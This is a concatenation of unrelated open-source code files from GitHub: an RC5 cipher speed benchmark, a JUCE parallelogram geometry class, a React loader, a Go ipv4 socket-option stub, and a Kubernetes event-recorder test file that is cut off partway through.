0xfe,0xdc,0xba,0x98,0x76,0x54,0x32,0x10,
};
RC5_32_KEY sch;
double a,b,c,d;
#ifndef SIGALRM
long ca,cb,cc;
#endif
#ifndef TIMES
TINYCLR_SSL_PRINTF("To get the most accurate results, try to run this\n");
TINYCLR_SSL_PRINTF("program when this computer is idle.\n");
#endif
#ifndef SIGALRM
TINYCLR_SSL_PRINTF("First we calculate the approximate speed ...\n");
RC5_32_set_key(&sch,16,key,12);
count=10;
do {
long i;
unsigned long data[2];
count*=2;
Time_F(START);
for (i=count; i; i--)
RC5_32_encrypt(data,&sch);
d=Time_F(STOP);
} while (d < 3.0);
ca=count/512;
cb=count;
cc=count*8/BUFSIZE+1;
TINYCLR_SSL_PRINTF("Doing RC5_32_set_key %ld times\n",ca);
#define COND(d) (count != (d))
#define COUNT(d) (d)
#else
#define COND(c) (run)
#define COUNT(d) (count)
signal(SIGALRM,sig_done);
TINYCLR_SSL_PRINTF("Doing RC5_32_set_key for 10 seconds\n");
alarm(10);
#endif
Time_F(START);
for (count=0,run=1; COND(ca); count+=4)
{
RC5_32_set_key(&sch,16,key,12);
RC5_32_set_key(&sch,16,key,12);
RC5_32_set_key(&sch,16,key,12);
RC5_32_set_key(&sch,16,key,12);
}
d=Time_F(STOP);
TINYCLR_SSL_PRINTF("%ld RC5_32_set_key's in %.2f seconds\n",count,d);
a=((double)COUNT(ca))/d;
#ifdef SIGALRM
TINYCLR_SSL_PRINTF("Doing RC5_32_encrypt's for 10 seconds\n");
alarm(10);
#else
TINYCLR_SSL_PRINTF("Doing RC5_32_encrypt %ld times\n",cb);
#endif
Time_F(START);
for (count=0,run=1; COND(cb); count+=4)
{
unsigned long data[2];
RC5_32_encrypt(data,&sch);
RC5_32_encrypt(data,&sch);
RC5_32_encrypt(data,&sch);
RC5_32_encrypt(data,&sch);
}
d=Time_F(STOP);
TINYCLR_SSL_PRINTF("%ld RC5_32_encrypt's in %.2f second\n",count,d);
b=((double)COUNT(cb)*8)/d;
#ifdef SIGALRM
TINYCLR_SSL_PRINTF("Doing RC5_32_cbc_encrypt on %ld byte blocks for 10 seconds\n",
BUFSIZE);
alarm(10);
#else
TINYCLR_SSL_PRINTF("Doing RC5_32_cbc_encrypt %ld times on %ld byte blocks\n",cc,
BUFSIZE);
#endif
Time_F(START);
for (count=0,run=1; COND(cc); count++)
RC5_32_cbc_encrypt(buf,buf,BUFSIZE,&sch,
&(key[0]),RC5_ENCRYPT);
d=Time_F(STOP);
TINYCLR_SSL_PRINTF("%ld RC5_32_cbc_encrypt's of %ld byte blocks in %.2f second\n",
count,BUFSIZE,d);
c=((double)COUNT(cc)*BUFSIZE)/d;
TINYCLR_SSL_PRINTF("RC5_32/12/16 set_key per sec = %12.2f (%9.3fuS)\n",a,1.0e6/a);
TINYCLR_SSL_PRINTF("RC5_32/12/16 raw ecb bytes per sec = %12.2f (%9.3fuS)\n",b,8.0e6/b);
TINYCLR_SSL_PRINTF("RC5_32/12/16 cbc bytes per sec = %12.2f (%9.3fuS)\n",c,8.0e6/c);
TINYCLR_SSL_EXIT(0);
#if defined(LINT) || defined(OPENSSL_SYS_MSDOS)
return(0);
#endif
}
| {
"pile_set_name": "Github"
} |
/*
==============================================================================
This file is part of the JUCE library.
Copyright (c) 2020 - Raw Material Software Limited
JUCE is an open source library subject to commercial or open-source
licensing.
By using JUCE, you agree to the terms of both the JUCE 6 End-User License
Agreement and JUCE Privacy Policy (both effective as of the 16th June 2020).
End User License Agreement: www.juce.com/juce-6-licence
Privacy Policy: www.juce.com/juce-privacy-policy
Or: You may also use this code under the terms of the GPL v3 (see
www.gnu.org/licenses).
JUCE IS PROVIDED "AS IS" WITHOUT ANY WARRANTY, AND ALL WARRANTIES, WHETHER
EXPRESSED OR IMPLIED, INCLUDING MERCHANTABILITY AND FITNESS FOR PURPOSE, ARE
DISCLAIMED.
==============================================================================
*/
namespace juce
{
RelativeParallelogram::RelativeParallelogram()
{
}
RelativeParallelogram::RelativeParallelogram (const Rectangle<float>& r)
: topLeft (r.getTopLeft()), topRight (r.getTopRight()), bottomLeft (r.getBottomLeft())
{
}
RelativeParallelogram::RelativeParallelogram (const RelativePoint& topLeft_, const RelativePoint& topRight_, const RelativePoint& bottomLeft_)
: topLeft (topLeft_), topRight (topRight_), bottomLeft (bottomLeft_)
{
}
RelativeParallelogram::RelativeParallelogram (const String& topLeft_, const String& topRight_, const String& bottomLeft_)
: topLeft (topLeft_), topRight (topRight_), bottomLeft (bottomLeft_)
{
}
RelativeParallelogram::~RelativeParallelogram()
{
}
void RelativeParallelogram::resolveThreePoints (Point<float>* points, Expression::Scope* const scope) const
{
points[0] = topLeft.resolve (scope);
points[1] = topRight.resolve (scope);
points[2] = bottomLeft.resolve (scope);
}
void RelativeParallelogram::resolveFourCorners (Point<float>* points, Expression::Scope* const scope) const
{
resolveThreePoints (points, scope);
points[3] = points[1] + (points[2] - points[0]);
}
const Rectangle<float> RelativeParallelogram::getBounds (Expression::Scope* const scope) const
{
Point<float> points[4];
resolveFourCorners (points, scope);
return Rectangle<float>::findAreaContainingPoints (points, 4);
}
void RelativeParallelogram::getPath (Path& path, Expression::Scope* const scope) const
{
Point<float> points[4];
resolveFourCorners (points, scope);
path.startNewSubPath (points[0]);
path.lineTo (points[1]);
path.lineTo (points[3]);
path.lineTo (points[2]);
path.closeSubPath();
}
AffineTransform RelativeParallelogram::resetToPerpendicular (Expression::Scope* const scope)
{
Point<float> corners[3];
resolveThreePoints (corners, scope);
const Line<float> top (corners[0], corners[1]);
const Line<float> left (corners[0], corners[2]);
const Point<float> newTopRight (corners[0] + Point<float> (top.getLength(), 0.0f));
const Point<float> newBottomLeft (corners[0] + Point<float> (0.0f, left.getLength()));
topRight.moveToAbsolute (newTopRight, scope);
bottomLeft.moveToAbsolute (newBottomLeft, scope);
return AffineTransform::fromTargetPoints (corners[0], corners[0],
corners[1], newTopRight,
corners[2], newBottomLeft);
}
bool RelativeParallelogram::isDynamic() const
{
return topLeft.isDynamic() || topRight.isDynamic() || bottomLeft.isDynamic();
}
bool RelativeParallelogram::operator== (const RelativeParallelogram& other) const noexcept
{
return topLeft == other.topLeft && topRight == other.topRight && bottomLeft == other.bottomLeft;
}
bool RelativeParallelogram::operator!= (const RelativeParallelogram& other) const noexcept
{
return ! operator== (other);
}
Point<float> RelativeParallelogram::getInternalCoordForPoint (const Point<float>* const corners, Point<float> target) noexcept
{
const Point<float> tr (corners[1] - corners[0]);
const Point<float> bl (corners[2] - corners[0]);
target -= corners[0];
return Point<float> (Line<float> (Point<float>(), tr).getIntersection (Line<float> (target, target - bl)).getDistanceFromOrigin(),
Line<float> (Point<float>(), bl).getIntersection (Line<float> (target, target - tr)).getDistanceFromOrigin());
}
Point<float> RelativeParallelogram::getPointForInternalCoord (const Point<float>* const corners, const Point<float> point) noexcept
{
return corners[0]
+ Line<float> (Point<float>(), corners[1] - corners[0]).getPointAlongLine (point.x)
+ Line<float> (Point<float>(), corners[2] - corners[0]).getPointAlongLine (point.y);
}
Rectangle<float> RelativeParallelogram::getBoundingBox (const Point<float>* const p) noexcept
{
const Point<float> points[] = { p[0], p[1], p[2], p[1] + (p[2] - p[0]) };
return Rectangle<float>::findAreaContainingPoints (points, 4);
}
} // namespace juce
| {
"pile_set_name": "Github"
} |
Michael Crosby <[email protected]> (@crosbymichael)
| {
"pile_set_name": "Github"
} |
// @flow
import universal from 'react-universal-component';
import { ErrorState, Loading } from '../../../../components';
export default universal(() => import('./ByTotalDevelopers'), {
loading: Loading,
error: ErrorState,
});
| {
"pile_set_name": "Github"
} |
// Copyright 2012 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// +build !aix,!darwin,!dragonfly,!freebsd,!linux,!netbsd,!openbsd,!solaris,!windows
package ipv4
import (
"net"
"golang.org/x/net/bpf"
"golang.org/x/net/internal/socket"
)
func (so *sockOpt) getMulticastInterface(c *socket.Conn) (*net.Interface, error) {
return nil, errNotImplemented
}
func (so *sockOpt) setMulticastInterface(c *socket.Conn, ifi *net.Interface) error {
return errNotImplemented
}
func (so *sockOpt) getICMPFilter(c *socket.Conn) (*ICMPFilter, error) {
return nil, errNotImplemented
}
func (so *sockOpt) setICMPFilter(c *socket.Conn, f *ICMPFilter) error {
return errNotImplemented
}
func (so *sockOpt) setGroup(c *socket.Conn, ifi *net.Interface, grp net.IP) error {
return errNotImplemented
}
func (so *sockOpt) setSourceGroup(c *socket.Conn, ifi *net.Interface, grp, src net.IP) error {
return errNotImplemented
}
func (so *sockOpt) setBPF(c *socket.Conn, f []bpf.RawInstruction) error {
return errNotImplemented
}
| {
"pile_set_name": "Github"
} |
/*
Copyright 2014 The Kubernetes Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package record
import (
"encoding/json"
"fmt"
"math/rand"
"net/http"
"strconv"
"testing"
"time"
"k8s.io/api/core/v1"
"k8s.io/apimachinery/pkg/api/errors"
metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
k8sruntime "k8s.io/apimachinery/pkg/runtime"
"k8s.io/apimachinery/pkg/util/clock"
"k8s.io/apimachinery/pkg/util/strategicpatch"
"k8s.io/client-go/kubernetes/scheme"
restclient "k8s.io/client-go/rest"
ref "k8s.io/client-go/tools/reference"
)
type testEventSink struct {
OnCreate func(e *v1.Event) (*v1.Event, error)
OnUpdate func(e *v1.Event) (*v1.Event, error)
OnPatch func(e *v1.Event, p []byte) (*v1.Event, error)
}
// CreateEvent records the event for testing.
func (t *testEventSink) Create(e *v1.Event) (*v1.Event, error) {
if t.OnCreate != nil {
return t.OnCreate(e)
}
return e, nil
}
// UpdateEvent records the event for testing.
func (t *testEventSink) Update(e *v1.Event) (*v1.Event, error) {
if t.OnUpdate != nil {
return t.OnUpdate(e)
}
return e, nil
}
// PatchEvent records the event for testing.
func (t *testEventSink) Patch(e *v1.Event, p []byte) (*v1.Event, error) {
if t.OnPatch != nil {
return t.OnPatch(e, p)
}
return e, nil
}
type OnCreateFunc func(*v1.Event) (*v1.Event, error)
func OnCreateFactory(testCache map[string]*v1.Event, createEvent chan<- *v1.Event) OnCreateFunc {
return func(event *v1.Event) (*v1.Event, error) {
testCache[getEventKey(event)] = event
createEvent <- event
return event, nil
}
}
type OnPatchFunc func(*v1.Event, []byte) (*v1.Event, error)
func OnPatchFactory(testCache map[string]*v1.Event, patchEvent chan<- *v1.Event) OnPatchFunc {
return func(event *v1.Event, patch []byte) (*v1.Event, error) {
cachedEvent, found := testCache[getEventKey(event)]
if !found {
return nil, fmt.Errorf("unexpected error: couldn't find Event in testCache.")
}
originalData, err := json.Marshal(cachedEvent)
if err != nil {
return nil, fmt.Errorf("unexpected error: %v", err)
}
patched, err := strategicpatch.StrategicMergePatch(originalData, patch, event)
if err != nil {
return nil, fmt.Errorf("unexpected error: %v", err)
}
patchedObj := &v1.Event{}
err = json.Unmarshal(patched, patchedObj)
if err != nil {
return nil, fmt.Errorf("unexpected error: %v", err)
}
patchEvent <- patchedObj
return patchedObj, nil
}
}
func TestEventf(t *testing.T) {
testPod := &v1.Pod{
ObjectMeta: metav1.ObjectMeta{
SelfLink: "/api/version/pods/foo",
Name: "foo",
Namespace: "baz",
UID: "bar",
},
}
testPod2 := &v1.Pod{
ObjectMeta: metav1.ObjectMeta{
SelfLink: "/api/version/pods/foo",
Name: "foo",
Namespace: "baz",
UID: "differentUid",
},
}
testRef, err := ref.GetPartialReference(scheme.Scheme, testPod, "spec.containers[2]")
if err != nil {
t.Fatal(err)
}
testRef2, err := ref.GetPartialReference(scheme.Scheme, testPod2, "spec.containers[3]")
if err != nil {
t.Fatal(err)
}
table := []struct {
obj k8sruntime.Object
eventtype string
reason string
messageFmt string
elements []interface{}
expect *v1.Event
expectLog string
expectUpdate bool
}{
{
obj: testRef,
eventtype: v1.EventTypeNormal,
reason: "Started",
messageFmt: "some verbose message: %v",
elements: []interface{}{1},
expect: &v1.Event{
ObjectMeta: metav1.ObjectMeta{
Name: "foo",
Namespace: "baz",
},
InvolvedObject: v1.ObjectReference{
Kind: "Pod",
Name: "foo",
Namespace: "baz",
UID: "bar",
APIVersion: "version",
FieldPath: "spec.containers[2]",
},
Reason: "Started",
Message: "some verbose message: 1",
Source: v1.EventSource{Component: "eventTest"},
Count: 1,
Type: v1.EventTypeNormal,
},
expectLog: `Event(v1.ObjectReference{Kind:"Pod", Namespace:"baz", Name:"foo", UID:"bar", APIVersion:"version", ResourceVersion:"", FieldPath:"spec.containers[2]"}): type: 'Normal' reason: 'Started' some verbose message: 1`,
expectUpdate: false,
},
{
obj: testPod,
eventtype: v1.EventTypeNormal,
reason: "Killed",
messageFmt: "some other verbose message: %v",
elements: []interface{}{1},
expect: &v1.Event{
ObjectMeta: metav1.ObjectMeta{
Name: "foo",
Namespace: "baz",
},
InvolvedObject: v1.ObjectReference{
Kind: "Pod",
Name: "foo",
Namespace: "baz",
UID: "bar",
APIVersion: "version",
},
Reason: "Killed",
Message: "some other verbose message: 1",
Source: v1.EventSource{Component: "eventTest"},
Count: 1,
Type: v1.EventTypeNormal,
},
expectLog: `Event(v1.ObjectReference{Kind:"Pod", Namespace:"baz", Name:"foo", UID:"bar", APIVersion:"version", ResourceVersion:"", FieldPath:""}): type: 'Normal' reason: 'Killed' some other verbose message: 1`,
expectUpdate: false,
},
{
obj: testRef,
eventtype: v1.EventTypeNormal,
reason: "Started",
messageFmt: "some verbose message: %v",
elements: []interface{}{1},
expect: &v1.Event{
ObjectMeta: metav1.ObjectMeta{
Name: "foo",
Namespace: "baz",
},
InvolvedObject: v1.ObjectReference{
Kind: "Pod",
Name: "foo",
Namespace: "baz",
UID: "bar",
APIVersion: "version",
FieldPath: "spec.containers[2]",
},
Reason: "Started",
Message: "some verbose message: 1",
Source: v1.EventSource{Component: "eventTest"},
Count: 2,
Type: v1.EventTypeNormal,
},
expectLog: `Event(v1.ObjectReference{Kind:"Pod", Namespace:"baz", Name:"foo", UID:"bar", APIVersion:"version", ResourceVersion:"", FieldPath:"spec.containers[2]"}): type: 'Normal' reason: 'Started' some verbose message: 1`,
expectUpdate: true,
},
{
obj: testRef2,
eventtype: v1.EventTypeNormal,
reason: "Started",
messageFmt: "some verbose message: %v",
elements: []interface{}{1},
expect: &v1.Event{
ObjectMeta: metav1.ObjectMeta{
Name: "foo",
Namespace: "baz",
},
InvolvedObject: v1.ObjectReference{
Kind: "Pod",
Name: "foo",
Namespace: "baz",
UID: "differentUid",
APIVersion: "version",
FieldPath: "spec.containers[3]",
},
Reason: "Started",
Message: "some verbose message: 1",
Source: v1.EventSource{Component: "eventTest"},
Count: 1,
Type: v1.EventTypeNormal,
},
expectLog: `Event(v1.ObjectReference{Kind:"Pod", Namespace:"baz", Name:"foo", UID:"differentUid", APIVersion:"version", ResourceVersion:"", FieldPath:"spec.containers[3]"}): type: 'Normal' reason: 'Started' some verbose message: 1`,
expectUpdate: false,
},
{
obj: testRef,
eventtype: v1.EventTypeNormal,
reason: "Started",
messageFmt: "some verbose message: %v",
elements: []interface{}{1},
expect: &v1.Event{
ObjectMeta: metav1.ObjectMeta{
Name: "foo",
Namespace: "baz",
},
InvolvedObject: v1.ObjectReference{
Kind: "Pod",
Name: "foo",
Namespace: "baz",
UID: "bar",
APIVersion: "version",
FieldPath: "spec.containers[2]",
},
Reason: "Started",
Message: "some verbose message: 1",
Source: v1.EventSource{Component: "eventTest"},
Count: 3,
Type: v1.EventTypeNormal,
},
expectLog: `Event(v1.ObjectReference{Kind:"Pod", Namespace:"baz", Name:"foo", UID:"bar", APIVersion:"version", ResourceVersion:"", FieldPath:"spec.containers[2]"}): type: 'Normal' reason: 'Started' some verbose message: 1`,
expectUpdate: true,
},
{
obj: testRef2,
eventtype: v1.EventTypeNormal,
reason: "Stopped",
messageFmt: "some verbose message: %v",
elements: []interface{}{1},
expect: &v1.Event{
ObjectMeta: metav1.ObjectMeta{
Name: "foo",
Namespace: "baz",
},
InvolvedObject: v1.ObjectReference{
Kind: "Pod",
Name: "foo",
Namespace: "baz",
UID: "differentUid",
APIVersion: "version",
FieldPath: "spec.containers[3]",
},
Reason: "Stopped",
Message: "some verbose message: 1",
Source: v1.EventSource{Component: "eventTest"},
Count: 1,
Type: v1.EventTypeNormal,
},
expectLog: `Event(v1.ObjectReference{Kind:"Pod", Namespace:"baz", Name:"foo", UID:"differentUid", APIVersion:"version", ResourceVersion:"", FieldPath:"spec.containers[3]"}): type: 'Normal' reason: 'Stopped' some verbose message: 1`,
expectUpdate: false,
},
{
obj: testRef2,
eventtype: v1.EventTypeNormal,
reason: "Stopped",
messageFmt: "some verbose message: %v",
elements: []interface{}{1},
expect: &v1.Event{
ObjectMeta: metav1.ObjectMeta{
Name: "foo",
Namespace: "baz",
},
InvolvedObject: v1.ObjectReference{
Kind: "Pod",
Name: "foo",
Namespace: "baz",
UID: "differentUid",
APIVersion: "version",
FieldPath: "spec.containers[3]",
},
Reason: "Stopped",
Message: "some verbose message: 1",
Source: v1.EventSource{Component: "eventTest"},
Count: 2,
Type: v1.EventTypeNormal,
},
expectLog: `Event(v1.ObjectReference{Kind:"Pod", Namespace:"baz", Name:"foo", UID:"differentUid", APIVersion:"version", ResourceVersion:"", FieldPath:"spec.containers[3]"}): type: 'Normal' reason: 'Stopped' some verbose message: 1`,
expectUpdate: true,
},
}
testCache := map[string]*v1.Event{}
logCalled := make(chan struct{})
createEvent := make(chan *v1.Event)
updateEvent := make(chan *v1.Event)
patchEvent := make(chan *v1.Event)
testEvents := testEventSink{
OnCreate: OnCreateFactory(testCache, createEvent),
OnUpdate: func(event *v1.Event) (*v1.Event, error) {
updateEvent <- event
return event, nil
},
OnPatch: OnPatchFactory(testCache, patchEvent),
}
eventBroadcaster := NewBroadcasterForTests(0)
sinkWatcher := eventBroadcaster.StartRecordingToSink(&testEvents)
clock := clock.NewFakeClock(time.Now())
recorder := recorderWithFakeClock(v1.EventSource{Component: "eventTest"}, eventBroadcaster, clock)
for index, item := range table {
clock.Step(1 * time.Second)
logWatcher := eventBroadcaster.StartLogging(func(formatter string, args ...interface{}) {
if e, a := item.expectLog, fmt.Sprintf(formatter, args...); e != a {
t.Errorf("Expected '%v', got '%v'", e, a)
}
logCalled <- struct{}{}
})
recorder.Eventf(item.obj, item.eventtype, item.reason, item.messageFmt, item.elements...)
<-logCalled
// validate event
if item.expectUpdate {
actualEvent := <-patchEvent
validateEvent(strconv.Itoa(index), actualEvent, item.expect, t)
} else {
actualEvent := <-createEvent
validateEvent(strconv.Itoa(index), actualEvent, item.expect, t)
}
logWatcher.Stop()
}
sinkWatcher.Stop()
}
func recorderWithFakeClock(eventSource v1.EventSource, eventBroadcaster EventBroadcaster, clock clock.Clock) EventRecorder {
return &recorderImpl{scheme.Scheme, eventSource, eventBroadcaster.(*eventBroadcasterImpl).Broadcaster, clock}
}
func TestWriteEventError(t *testing.T) {
type entry struct {
timesToSendError int
attemptsWanted int
err error
}
table := map[string]*entry{
"giveUp1": {
timesToSendError: 1000,
attemptsWanted: 1,
err: &restclient.RequestConstructionError{},
},
"giveUp2": {
timesToSendError: 1000,
attemptsWanted: 1,
err: &errors.StatusError{},
},
"retry1": {
timesToSendError: 1000,
attemptsWanted: 12,
err: &errors.UnexpectedObjectError{},
},
"retry2": {
timesToSendError: 1000,
attemptsWanted: 12,
err: fmt.Errorf("A weird error"),
},
"succeedEventually": {
timesToSendError: 2,
attemptsWanted: 2,
err: fmt.Errorf("A weird error"),
},
}
clock := clock.IntervalClock{Time: time.Now(), Duration: time.Second}
eventCorrelator := NewEventCorrelator(&clock)
randGen := rand.New(rand.NewSource(time.Now().UnixNano()))
for caseName, ent := range table {
attempts := 0
sink := &testEventSink{
OnCreate: func(event *v1.Event) (*v1.Event, error) {
attempts++
if attempts < ent.timesToSendError {
return nil, ent.err
}
return event, nil
},
}
ev := &v1.Event{}
recordToSink(sink, ev, eventCorrelator, randGen, 0)
if attempts != ent.attemptsWanted {
t.Errorf("case %v: wanted %d, got %d attempts", caseName, ent.attemptsWanted, attempts)
}
}
}
func TestUpdateExpiredEvent(t *testing.T) {
clock := clock.IntervalClock{Time: time.Now(), Duration: time.Second}
eventCorrelator := NewEventCorrelator(&clock)
randGen := rand.New(rand.NewSource(time.Now().UnixNano()))
var createdEvent *v1.Event
sink := &testEventSink{
OnPatch: func(*v1.Event, []byte) (*v1.Event, error) {
return nil, &errors.StatusError{
ErrStatus: metav1.Status{
Code: http.StatusNotFound,
Reason: metav1.StatusReasonNotFound,
}}
},
OnCreate: func(event *v1.Event) (*v1.Event, error) {
createdEvent = event
return event, nil
},
}
ev := &v1.Event{}
ev.ResourceVersion = "updated-resource-version"
ev.Count = 2
recordToSink(sink, ev, eventCorrelator, randGen, 0)
if createdEvent == nil {
t.Error("Event did not get created after patch failed")
return
}
if createdEvent.ResourceVersion != "" {
t.Errorf("Event did not have its resource version cleared, was %s", createdEvent.ResourceVersion)
}
}
func TestLotsOfEvents(t *testing.T) {
recorderCalled := make(chan struct{})
loggerCalled := make(chan struct{})
// Fail each event a few times to ensure there's some load on the tested code.
var counts [1000]int
testEvents := testEventSink{
OnCreate: func(event *v1.Event) (*v1.Event, error) {
num, err := strconv.Atoi(event.Message)
if err != nil {
t.Error(err)
return event, nil
}
counts[num]++
if counts[num] < 5 {
return nil, fmt.Errorf("fake error")
}
recorderCalled <- struct{}{}
return event, nil
},
}
eventBroadcaster := NewBroadcasterForTests(0)
sinkWatcher := eventBroadcaster.StartRecordingToSink(&testEvents)
logWatcher := eventBroadcaster.StartLogging(func(formatter string, args ...interface{}) {
loggerCalled <- struct{}{}
})
recorder := eventBroadcaster.NewRecorder(scheme.Scheme, v1.EventSource{Component: "eventTest"})
for i := 0; i < maxQueuedEvents; i++ {
// we want a unique object to stop spam filtering
ref := &v1.ObjectReference{
Kind: "Pod",
Name: fmt.Sprintf("foo-%v", i),
Namespace: "baz",
UID: "bar",
APIVersion: "version",
}
// we need to vary the reason to prevent aggregation
go recorder.Eventf(ref, v1.EventTypeNormal, "Reason-"+string(i), strconv.Itoa(i))
}
// Make sure no events were dropped by either of the listeners.
for i := 0; i < maxQueuedEvents; i++ {
<-recorderCalled
<-loggerCalled
}
// Make sure that every event was attempted 5 times
for i := 0; i < maxQueuedEvents; i++ {
if counts[i] < 5 {
t.Errorf("Only attempted to record event '%d' %d times.", i, counts[i])
}
}
sinkWatcher.Stop()
logWatcher.Stop()
}
func TestEventfNoNamespace(t *testing.T) {
testPod := &v1.Pod{
ObjectMeta: metav1.ObjectMeta{
SelfLink: "/api/version/pods/foo",
Name: "foo",
UID: "bar",
},
}
testRef, err := ref.GetPartialReference(scheme.Scheme, testPod, "spec.containers[2]")
if err != nil {
t.Fatal(err)
}
table := []struct {
obj k8sruntime.Object
eventtype string
reason string
messageFmt string
elements []interface{}
expect *v1.Event
expectLog string
expectUpdate bool
}{
{
obj: testRef,
eventtype: v1.EventTypeNormal,
reason: "Started",
messageFmt: "some verbose message: %v",
elements: []interface{}{1},
expect: &v1.Event{
ObjectMeta: metav1.ObjectMeta{
Name: "foo",
Namespace: "default",
},
InvolvedObject: v1.ObjectReference{
Kind: "Pod",
Name: "foo",
Namespace: "",
UID: "bar",
APIVersion: "version",
FieldPath: "spec.containers[2]",
},
Reason: "Started",
Message: "some verbose message: 1",
Source: v1.EventSource{Component: "eventTest"},
Count: 1,
Type: v1.EventTypeNormal,
},
expectLog: `Event(v1.ObjectReference{Kind:"Pod", Namespace:"", Name:"foo", UID:"bar", APIVersion:"version", ResourceVersion:"", FieldPath:"spec.containers[2]"}): type: 'Normal' reason: 'Started' some verbose message: 1`,
expectUpdate: false,
},
}
testCache := map[string]*v1.Event{}
logCalled := make(chan struct{})
createEvent := make(chan *v1.Event)
updateEvent := make(chan *v1.Event)
patchEvent := make(chan *v1.Event)
testEvents := testEventSink{
OnCreate: OnCreateFactory(testCache, createEvent),
OnUpdate: func(event *v1.Event) (*v1.Event, error) {
updateEvent <- event
return event, nil
},
OnPatch: OnPatchFactory(testCache, patchEvent),
}
eventBroadcaster := NewBroadcasterForTests(0)
sinkWatcher := eventBroadcaster.StartRecordingToSink(&testEvents)
clock := clock.NewFakeClock(time.Now())
recorder := recorderWithFakeClock(v1.EventSource{Component: "eventTest"}, eventBroadcaster, clock)
for index, item := range table {
clock.Step(1 * time.Second)
logWatcher := eventBroadcaster.StartLogging(func(formatter string, args ...interface{}) {
if e, a := item.expectLog, fmt.Sprintf(formatter, args...); e != a {
t.Errorf("Expected '%v', got '%v'", e, a)
}
logCalled <- struct{}{}
})
recorder.Eventf(item.obj, item.eventtype, item.reason, item.messageFmt, item.elements...)
<-logCalled
// validate event
if item.expectUpdate {
actualEvent := <-patchEvent
validateEvent(strconv.Itoa(index), actualEvent, item.expect, t)
} else {
actualEvent := <-createEvent
validateEvent(strconv.Itoa(index), actualEvent, item.expect, t)
}
logWatcher.Stop()
}
sinkWatcher.Stop()
}
func TestMultiSinkCache(t *testing.T) {
testPod := &v1.Pod{
ObjectMeta: metav1.ObjectMeta{
SelfLink: "/api/version/pods/foo",
Name: "foo",
Namespace: "baz",
UID: "bar",
},
}
testPod2 := &v1.Pod{
ObjectMeta: metav1.ObjectMeta{
SelfLink: "/api/version/pods/foo",
Name: "foo",
Namespace: "baz",
UID: "differentUid",
},
}
testRef, err := ref.GetPartialReference(scheme.Scheme, testPod, "spec.containers[2]")
if err != nil {
t.Fatal(err)
}
testRef2, err := ref.GetPartialReference(scheme.Scheme, testPod2, "spec.containers[3]")
if err != nil {
t.Fatal(err)
}
table := []struct {
obj k8sruntime.Object
eventtype string
reason string
messageFmt string
elements []interface{}
expect *v1.Event
expectLog string
expectUpdate bool
}{
{
obj: testRef,
eventtype: v1.EventTypeNormal,
reason: "Started",
messageFmt: "some verbose message: %v",
elements: []interface{}{1},
expect: &v1.Event{
ObjectMeta: metav1.ObjectMeta{
Name: "foo",
Namespace: "baz",
},
InvolvedObject: v1.ObjectReference{
Kind: "Pod",
Name: "foo",
Namespace: "baz",
UID: "bar",
APIVersion: "version",
FieldPath: "spec.containers[2]",
},
Reason: "Started",
Message: "some verbose message: 1",
Source: v1.EventSource{Component: "eventTest"},
Count: 1,
Type: v1.EventTypeNormal,
},
expectLog: `Event(v1.ObjectReference{Kind:"Pod", Namespace:"baz", Name:"foo", UID:"bar", APIVersion:"version", ResourceVersion:"", FieldPath:"spec.containers[2]"}): type: 'Normal' reason: 'Started' some verbose message: 1`,
expectUpdate: false,
},
{
obj: testPod,
eventtype: v1.EventTypeNormal,
reason: "Killed",
messageFmt: "some other verbose message: %v",
elements: []interface{}{1},
expect: &v1.Event{
ObjectMeta: metav1.ObjectMeta{
Name: "foo",
Namespace: "baz",
},
InvolvedObject: v1.ObjectReference{
Kind: "Pod",
Name: "foo",
Namespace: "baz",
UID: "bar",
APIVersion: "version",
},
Reason: "Killed",
Message: "some other verbose message: 1",
Source: v1.EventSource{Component: "eventTest"},
Count: 1,
Type: v1.EventTypeNormal,
},
expectLog: `Event(v1.ObjectReference{Kind:"Pod", Namespace:"baz", Name:"foo", UID:"bar", APIVersion:"version", ResourceVersion:"", FieldPath:""}): type: 'Normal' reason: 'Killed' some other verbose message: 1`,
expectUpdate: false,
},
{
obj: testRef,
eventtype: v1.EventTypeNormal,
reason: "Started",
messageFmt: "some verbose message: %v",
elements: []interface{}{1},
expect: &v1.Event{
ObjectMeta: metav1.ObjectMeta{
Name: "foo",
Namespace: "baz",
},
InvolvedObject: v1.ObjectReference{
Kind: "Pod",
Name: "foo",
Namespace: "baz",
UID: "bar",
APIVersion: "version",
FieldPath: "spec.containers[2]",
},
Reason: "Started",
Message: "some verbose message: 1",
Source: v1.EventSource{Component: "eventTest"},
Count: 2,
Type: v1.EventTypeNormal,
},
expectLog: `Event(v1.ObjectReference{Kind:"Pod", Namespace:"baz", Name:"foo", UID:"bar", APIVersion:"version", ResourceVersion:"", FieldPath:"spec.containers[2]"}): type: 'Normal' reason: 'Started' some verbose message: 1`,
expectUpdate: true,
},
{
obj: testRef2,
eventtype: v1.EventTypeNormal,
reason: "Started",
messageFmt: "some verbose message: %v",
elements: []interface{}{1},
expect: &v1.Event{
ObjectMeta: metav1.ObjectMeta{
Name: "foo",
Namespace: "baz",
},
InvolvedObject: v1.ObjectReference{
Kind: "Pod",
Name: "foo",
Namespace: "baz",
UID: "differentUid",
APIVersion: "version",
FieldPath: "spec.containers[3]",
},
Reason: "Started",
Message: "some verbose message: 1",
Source: v1.EventSource{Component: "eventTest"},
Count: 1,
Type: v1.EventTypeNormal,
},
expectLog: `Event(v1.ObjectReference{Kind:"Pod", Namespace:"baz", Name:"foo", UID:"differentUid", APIVersion:"version", ResourceVersion:"", FieldPath:"spec.containers[3]"}): type: 'Normal' reason: 'Started' some verbose message: 1`,
expectUpdate: false,
},
{
obj: testRef,
eventtype: v1.EventTypeNormal,
reason: "Started",
messageFmt: "some verbose message: %v",
elements: []interface{}{1},
expect: &v1.Event{
ObjectMeta: metav1.ObjectMeta{
Name: "foo",
Namespace: "baz",
},
InvolvedObject: v1.ObjectReference{
Kind: "Pod",
Name: "foo",
Namespace: "baz",
UID: "bar",
APIVersion: "version",
FieldPath: "spec.containers[2]",
},
Reason: "Started",
Message: "some verbose message: 1",
Source: v1.EventSource{Component: "eventTest"},
Count: 3,
Type: v1.EventTypeNormal,
},
